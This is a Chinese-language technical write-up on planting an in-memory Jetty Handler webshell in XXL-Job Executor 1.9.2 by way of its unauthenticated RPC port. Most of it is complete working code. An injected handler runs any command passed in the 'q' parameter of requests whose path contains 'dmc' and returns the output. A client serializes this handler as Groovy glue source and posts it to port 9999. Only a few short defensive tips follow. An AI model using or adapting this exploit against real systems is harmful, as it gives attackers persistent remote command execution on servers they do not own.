实现xxl-job-executor 1.9.2阉割版Jetty服务的Handler内存马
字数 1156 2025-08-22 12:22:15
XXL-Job Executor 1.9.2 Jetty Handler内存马技术分析
前言
本文详细分析XXL-Job Executor 1.9.2版本中Jetty服务的Handler内存马实现技术。针对不出网的XXL-Job Executor 1.x服务,在反序列化漏洞利用时,提供了一种有效的回显命令执行方法。
环境背景
XXL-Job架构分析
XXL-Job 1.9.2版本目录结构:
xxl-job-1.9.2
├── doc
├── db
├── images
├── xxl-job-admin
├── xxl-job-core
└── xxl-job-executor-samples
├── xxl-job-executor-sample-jfinal
├── xxl-job-executor-sample-nutz
├── xxl-job-executor-sample-spring
└── xxl-job-executor-sample-springboot
关键组件:
xxl-job-admin: 管理端代码xxl-job-core: 核心代码xxl-job-executor-samples: 不同框架的示例实现
服务端口
启动xxl-job-executor-sample-springboot会监听两个端口:
- 8081端口:SpringBoot服务端口
- 9999端口:Jetty服务监听Job的端口
技术挑战
- 公开可查的内存马不适用于XXL-Job Executor 1.x版本
- XXL-Job 1.x使用Jetty中间件,2.x版本的Netty内存马不适用
- 目标环境中的Jetty服务是"阉割版",没有引入Servlet包
技术分析
Jetty服务处理流程
- Jetty服务启动时注册一个名为
JettyServerHandler的Handler - 在
org.eclipse.jetty.server.handler.HandlerCollection#handle中,服务循环从_handlers取Handler处理请求
调用链:
handle:33, JettyServerHandler (com.xxl.job.core.rpc.netcom.jetty.server)
handle:110, HandlerCollection (org.eclipse.jetty.server.handler)
handle:97, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:499, Server (org.eclipse.jetty.server)
handle:311, HttpChannel (org.eclipse.jetty.server)
onFillable:258, HttpConnection (org.eclipse.jetty.server)
run:544, AbstractConnection$2 (org.eclipse.jetty.io)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
内存马实现思路
通过反射获取Jetty的_handlers数组,注入恶意Handler:
- 获取
_handlers的路径:
TargetObject = {com.xxl.job.core.thread.JobThread}
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;4] = {java.lang.Thread}
---> target = {com.xxl.job.core.rpc.netcom.jetty.server.JettyServer$1}
---> this$0 = {com.xxl.job.core.rpc.netcom.jetty.server.JettyServer}
---> server = {org.eclipse.jetty.server.Server}
---> _handler = {org.eclipse.jetty.server.handler.HandlerCollection}
- 遍历Thread找到
_handler后,通过反射设置构造的恶意Handler数组
完整实现代码
恶意Handler实现
package com.xxl.job.executor.service.jobhandler;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;
import org.eclipse.jetty.server.Handler;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.server.Server;
import org.eclipse.jetty.server.handler.AbstractHandler;
import org.eclipse.jetty.server.handler.HandlerCollection;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Arrays;
public class DemoGlueJobHandler extends IJobHandler {
@Override
public ReturnT<String> execute(String param) throws Exception {
ThreadGroup group = Thread.currentThread().getThreadGroup();
java.lang.reflect.Field threads = group.getClass().getDeclaredField("threads");
threads.setAccessible(true);
Thread[] allThreads = (Thread[]) threads.get(group);
System.out.println(allThreads.length);
for (Thread thread : allThreads) {
if(thread.getClass().getName().contains("JobThread")){
Thread[] tThreads = (Thread[]) getField(thread.getThreadGroup(),"threads");
for(Thread tThread: tThreads){
Object target = getField(tThread,"target");
if(target.getClass().getName().contains("jetty.server.JettyServer")){
Object JettyServer = getField(target, "this$0");
Server server = (Server) getField(JettyServer, "server");
Handler[] _handlers = server.getHandlers();
ArrayList<Handler> handlerArrayList= new ArrayList<>();
handlerArrayList.add(new evilHandler());
handlerArrayList.addAll(Arrays.asList(((HandlerCollection) _handlers[0]).getHandlers()));
setField(server.getHandler(),"_handlers", handlerArrayList.toArray(new Handler[0]));
}
}
}
}
return ReturnT.SUCCESS;
}
public Object getField(Object obj, String fieldName){
try {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
obj = field.get(obj);
} catch (IllegalAccessException e) {
return null;
} catch (NoSuchFieldException e) {
return null;
}
return obj;
}
private static void setField(Object o, String k,Object v) throws Exception{
Field f;
try{
f = o.getClass().getDeclaredField(k);
}catch (NoSuchFieldException e){
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
f.setAccessible(true);
f.set(o,v);
}
public class evilHandler extends AbstractHandler {
@Override
public void handle(String s, Request request, HttpServletRequest httpServletRequest, HttpServletResponse response) throws IOException, ServletException {
if(!s.contains("dmc")){
return;
}
response.setContentType("text/html;charset=utf-8");
response.setStatus(HttpServletResponse.SC_OK);
request.setHandled(true);
Process process = Runtime.getRuntime().exec(request.getParameter("q"));
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8"));
String line;
String res="";
while ((line = reader.readLine()) != null) {
res+=line+"\n";
}
OutputStream out = response.getOutputStream();
out.write(res.getBytes());
out.flush();
out.close();
}
}
}
攻击利用代码
package com.example;
import com.xxl.job.core.biz.model.TriggerParam;
import com.xxl.job.core.rpc.codec.RpcRequest;
import com.xxl.rpc.serialize.impl.HessianSerializer;
import org.asynchttpclient.AsyncCompletionHandler;
import org.asynchttpclient.AsyncHttpClient;
import org.asynchttpclient.DefaultAsyncHttpClient;
import org.asynchttpclient.Response;
import java.io.IOException;
import java.util.Date;
public class App {
private static void sendData(String url, byte[] bytes) {
AsyncHttpClient c = new DefaultAsyncHttpClient();
try {
c.preparePost(url)
.setBody(bytes)
.execute(new AsyncCompletionHandler<Response>() {
@Override
public Response onCompleted(Response response) throws Exception {
System.out.println("Server Return Data: ");
System.out.println(response.getResponseBody());
return response;
}
@Override
public void onThrowable(Throwable t) {
System.out.println("HTTP出现异常");
t.printStackTrace();
super.onThrowable(t);
}
}).toCompletableFuture().join();
c.close();
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
c.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
public static void main(String[] args) throws Exception {
String code = "package com.xxl.job.executor.service.jobhandler;\n" +
"\n" +
"import com.xxl.job.core.biz.model.ReturnT;\n" +
"import com.xxl.job.core.handler.IJobHandler;\n" +
"import org.eclipse.jetty.server.Handler;\n" +
"import org.eclipse.jetty.server.Request;\n" +
"import org.eclipse.jetty.server.Server;\n" +
"import org.eclipse.jetty.server.handler.AbstractHandler;\n" +
"import org.eclipse.jetty.server.handler.HandlerCollection;\n" +
"\n" +
"import javax.servlet.ServletException;\n" +
"import javax.servlet.http.HttpServletRequest;\n" +
"import javax.servlet.http.HttpServletResponse;\n" +
"import javax.servlet.http.HttpSession;\n" +
"import java.io.*;\n" +
"import java.lang.reflect.Field;\n" +
"import java.util.ArrayList;\n" +
"import java.util.Arrays;\n" +
"\n" +
"public class DemoGlueJobHandler extends IJobHandler {\n" +
"\n" +
" @Override\n" +
" public ReturnT<String> execute(String param) throws Exception {\n" +
" ThreadGroup group = Thread.currentThread().getThreadGroup();\n" +
" java.lang.reflect.Field threads = group.getClass().getDeclaredField(\"threads\");\n" +
" threads.setAccessible(true);\n" +
" Thread[] allThreads = (Thread[]) threads.get(group);\n" +
" System.out.println(allThreads.length);\n" +
" for (Thread thread : allThreads) {\n" +
"\n" +
" if(thread.getClass().getName().contains(\"JobThread\")){\n" +
" Thread[] tThreads = (Thread[]) getField(thread.getThreadGroup(),\"threads\");\n" +
" for(Thread tThread: tThreads){\n" +
" Object target = getField(tThread,\"target\");\n" +
" if(target.getClass().getName().contains(\"jetty.server.JettyServer\")){\n" +
" Object JettyServer = getField(target, \"this\\$0\");\n" +
" Server server = (Server) getField(JettyServer, \"server\");\n" +
" Handler[] _handlers = server.getHandlers();\n" +
" ArrayList<Handler> handlerArrayList= new ArrayList<>();\n" +
" handlerArrayList.add(new evilHandler());\n" +
" handlerArrayList.addAll(Arrays.asList(((HandlerCollection) _handlers[0]).getHandlers()));\n" +
" setField(server.getHandler(),\"_handlers\", handlerArrayList.toArray(new Handler[0]));\n" +
"\n" +
" }\n" +
" }\n" +
" }\n" +
" }\n" +
"\n" +
" return ReturnT.SUCCESS;\n" +
" }\n" +
"\n" +
" public Object getField(Object obj, String fieldName){\n" +
" try {\n" +
" Field field = obj.getClass().getDeclaredField(fieldName);\n" +
" field.setAccessible(true);\n" +
" obj = field.get(obj);\n" +
" } catch (IllegalAccessException e) {\n" +
"\n" +
" return null;\n" +
" } catch (NoSuchFieldException e) {\n" +
"\n" +
" return null;\n" +
" }\n" +
" return obj;\n" +
" }\n" +
"\n" +
" private static void setField(Object o, String k,Object v) throws Exception{\n" +
" Field f;\n" +
" try{\n" +
" f = o.getClass().getDeclaredField(k);\n" +
" }catch (NoSuchFieldException e){\n" +
" f = o.getClass().getSuperclass().getDeclaredField(k);\n" +
" }catch (Exception e1){\n" +
" f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);\n" +
" }\n" +
" f.setAccessible(true);\n" +
" f.set(o,v);\n" +
" }\n" +
" public class evilHandler extends AbstractHandler {\n" +
"\n" +
" @Override\n" +
" public void handle(String s, Request request, HttpServletRequest httpServletRequest, HttpServletResponse response) throws IOException, ServletException {\n" +
" if(!s.contains(\"dmc\")){\n" +
" return;\n" +
" }\n" +
" response.setContentType(\"text/html;charset=utf-8\");\n" +
" response.setStatus(HttpServletResponse.SC_OK);\n" +
" request.setHandled(true);\n" +
" Process process = Runtime.getRuntime().exec(request.getParameter(\"q\"));\n" +
"\n" +
" InputStream inputStream = process.getInputStream();\n" +
" BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, \"UTF-8\"));\n" +
" String line;\n" +
" String res=\"\";\n" +
" while ((line = reader.readLine()) != null) {\n" +
" res+=line+\"\\n\";\n" +
" }\n" +
"\n" +
" OutputStream out = response.getOutputStream();\n" +
" out.write(res.getBytes());\n" +
" out.flush();\n" +
" out.close();\n" +
" }\n" +
" }\n" +
"\n" +
"}";
System.out.println(code);
TriggerParam params = new TriggerParam();
params.setJobId(10);
params.setExecutorBlockStrategy("SERIAL_EXECUTION");
params.setLogId(10);
params.setGlueType("GLUE_GROOVY");
params.setGlueSource(code);
params.setGlueUpdatetime((new Date()).getTime());
RpcRequest rpcRequest = new RpcRequest();
rpcRequest.setClassName("com.xxl.job.core.biz.ExecutorBiz");
rpcRequest.setMethodName("run");
rpcRequest.setParameterTypes(new Class[]{TriggerParam.class});
rpcRequest.setParameters(new Object[]{params});
rpcRequest.setCreateMillisTime((new Date()).getTime());
HessianSerializer serializer = new HessianSerializer();
byte[] data = serializer.serialize(rpcRequest);
sendData("http://127.0.0.1:9999", data);
}
}
技术要点总结
- 目标定位:针对XXL-Job Executor 1.x版本的Jetty服务(9999端口)
- 技术难点:无Servlet环境的Jetty服务内存马注入
- 实现方法:
- 通过反射获取Jetty的HandlerCollection
- 注入自定义的恶意Handler到_handlers数组
- 恶意Handler实现命令执行和回显功能
- 触发条件:请求URL包含"dmc"参数
- 命令执行:通过request.getParameter("q")获取并执行命令
防御建议
- 及时升级到XXL-Job最新版本
- 限制9999端口的网络访问
- 监控HandlerCollection的异常修改
- 实施代码签名和运行时保护机制